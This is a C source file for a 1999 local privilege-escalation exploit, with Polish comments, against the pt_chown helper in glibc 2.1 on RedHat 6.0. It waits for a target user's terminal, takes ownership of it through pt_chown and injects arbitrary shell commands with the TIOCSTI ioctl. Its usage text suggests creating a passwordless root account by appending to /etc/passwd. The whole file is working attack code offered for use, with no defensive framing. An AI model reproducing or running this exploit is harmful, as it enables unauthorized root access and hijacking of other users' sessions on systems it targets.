// #define LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
// release 2.0

/*

  Marchew Hyperreal Industries . . . . . . . . .  marchew@dione.ids.pl
  Stumilowy Las Team . . . . . . . . . . . . 100milowy@wariaci.pdi.net
  
  ----------------------------[ PRESENTS ]----------------------------

	           D O M E K    N A    P O T F O R Y
               glupi, ale skuteczny sploit na glibce 2.1
                 
  -----------------------[ (c) lcamtuf@ids.pl ]-----------------------
  Y2K-compatible					      24/05/99

  TODO: w domku nie mam devptsfs'a, wiec nie ma supportu, ale zrobię,
        obiecuję...

  Zasada działania: wspaniały wynalazek pt. pt_chown, w który
  zaopatrzone są glibce 2.1 (RedHat 6.0), pozwala przejąć kontrolę
  nad ptysiami innych userów i przekazać dowolne polecenia programowi,
  który na tym ptysiu wisi. Warunek: na starcie musimy mieć jakiś
  dostęp do ptysia (+r albo +w), tak się składa że programy typu
  screen, mc itp dają nam szansę. Oczywiście sens w używaniu tego
  programiku na ptysie root'a i wysłaniu dowolnego polecenia do
  jego shella.

  Najprostszy przyklad użycia: odpalamy sploita na roota, czekamy aż
  rut sie zaloguje i odpali cos w stylu screena i bum. Używanie na
  innych useruf chyba nie ma większego sensu, poza tym jeśli screen
  nie ma suida, po prostu tracilibyśmy zbyt dużo czasu na ustalenie
  do kogo należy ptyś, więc sploit może nie zadziałać. W takim
  przypadku dopisanie '#define NALOT_ZMASOWANY 1' i wywołanie sploita
  dla roota spowoduje wysyłanie komendy na każdego ptysia, bez
  sprawdzania czy to np. właśnie niesuidowy screen.

  Nie spieszy się nikomu, więc /dev/tty?? są skanowane co 10 sekund.
  Jeśli ktoś chce, niech sobie zmieni LAG gdzieś niżej. Program i tak
  jest do zostawienia na dzień :P

  Gritz: ElCa, 100milowy, lam3rz, Nises, sopel, martinez, Nergal, etc.

*/

// #define NALOT_ZMASOWANY 1

#define MASKA_PTYSIA	0622
#define LAG		10

#include <sys/time.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <pwd.h>
#include <string.h>

#define BOLD  "\033[00;01m"
#define NORM  "\033[00;00m"
#define DARK  "\033[00;02m"
#define BLINK "\033[05m"
#define GREEN "\033[01;32m"
#define RED   "\033[01;31m"
#define YELL  "\033[01;33m"
#define BLUE  "\033[00;36m"

#ifdef LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
#  define stat(a,b) _xstat(_STAT_VER,a,b)
#  define fstat(a,b) _fxstat(_STAT_VER,a,b)
#endif /* LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A */

int gupi_uid;
char* jebum;


void zuzycie(void) {
  printf(BOLD "Sposób zużycia: " BLUE "./potfory juzer 'polecenie'\n");
  printf(BOLD "   ...juzually: " BLUE "./potfory root 'echo \"r::0:0::/:/bin/sh\""
              " >>/etc/passwd;logout'" NORM "\n\n");
  exit(0);
}


int szukaj_uida(const char* login) {
  struct passwd* pw;
  setpwent();
  while ((pw=getpwent())) if (!strcasecmp(login,pw->pw_name)) return pw->pw_uid;
  printf( RED "[+] W domku nie mieszka nikt o loginie '%s'..." NORM "\n\n",login);
  exit(0);
}


char* koniec="\n";

int obwachaj_ptysia(struct dirent *s) {
  int i,q,z,w;
  struct stat a;
  if (strlen(s->d_name)!=5 || strncmp("pty",s->d_name,3)) return -1;
  close((i=open(s->d_name,O_RDONLY)));
  if (i>0) return -1;	// Blah, unused pty...
  s->d_name[0]='t';	// pty -> tty
  printf(DARK "[+] Przyglądam się " YELL "%s" DARK": " BLUE,s->d_name);
  stat(s->d_name,&a);
  if (a.st_uid!=gupi_uid) {
    printf("nie ten owner (%d).\n",a.st_uid);
    return -1;
  }
  printf("owner dobry");
  a.st_mode=a.st_mode&0666;
  if (a.st_mode!=MASKA_PTYSIA) {
#ifndef ZMASOWANY_ATAK
    printf(", ale chyba to pomyłka (maska: %o).\n",a.st_mode);
    return -1;
#else
    printf(" (zmasowany nalot)");
#endif /* ZMASOWANY_ATAK */
  }
  i=open(s->d_name,O_WRONLY);
  if (i<0) {
    printf(", ale nie mam uprawnień.\n");
    return -1;
  }
  printf(" - " YELL "robimy swoje!\n" NORM);

  if (!(q=fork())) {
    dup2(i,3);
    execl("/usr/libexec/pt_chown","pt_chown",0);
    exit(1);
  }

  waitpid(q,&z,0);

  fstat(i,&a);

  if (a.st_uid!=getuid()) {
    printf("[+] Ech, coś nie wyszło z pt_chown'em :(\n");
    close(i);
    return -1;
  }

  printf(YELL "[+] Oki, trzymamy ptysia za jaja, ślemy komendę...\n");

  for (w=0;w<strlen(jebum);w++) ioctl(i,TIOCSTI,&jebum[w]);
  for (w=0;w<strlen(koniec);w++) ioctl(i,TIOCSTI,&koniec[w]);

  close(i);

  printf("\n" GREEN "Dziękujemy za lot z Marchew Hyperreal Industries :-)" NORM "\n\n");

  exit(0);
}



void robimy_burdel(void) {
  struct dirent **x;
  int a;
  printf(BLUE "[+] Czekam na ofiare [/dev/tty??] - sprawdzam co " YELL "%d" BLUE " sekund...\n",
         LAG);
  if (chdir("/dev")) {
    printf( RED "[+] Ki burak, nie mogę wejść do /dev...\n\n");
    exit(0);
  }
  while (1) {
    a=scandir(".",&x,obwachaj_ptysia,0);
    if (a<0) {
      printf( RED "[+] Buuuk, nie mogę przeskanować /dev...\n\n");
      exit(0);
    }
    sleep(LAG);
  }
}


int main(int argc,char* argv[]) {
  printf(BLUE "\nMarchew Hyperreal Industries " BOLD "oraz " GREEN "Stumilowy Las Team"
	 BOLD " prezentują:\n");
  printf( YELL BLINK "Domek Na Potfory " NORM "- gupi, ale skuteczny sploit na glibce 2.1\n");
  printf( DARK "Scenariusz, wystrój wnętrz i muzyka: " BOLD "<lcamtuf@ids.pl>\n");
  if (argc-3) zuzycie();
  gupi_uid=szukaj_uida(argv[1]);
  jebum=argv[2];
  printf(BLUE "[+] UID " YELL "%d" BLUE ", polecenie do przekazania shellowi: " BOLD "%s\n",
         gupi_uid,jebum);
  robimy_burdel();
  printf(NORM "\n");
  exit(0);
}
/*                    www.hack.co.za                    */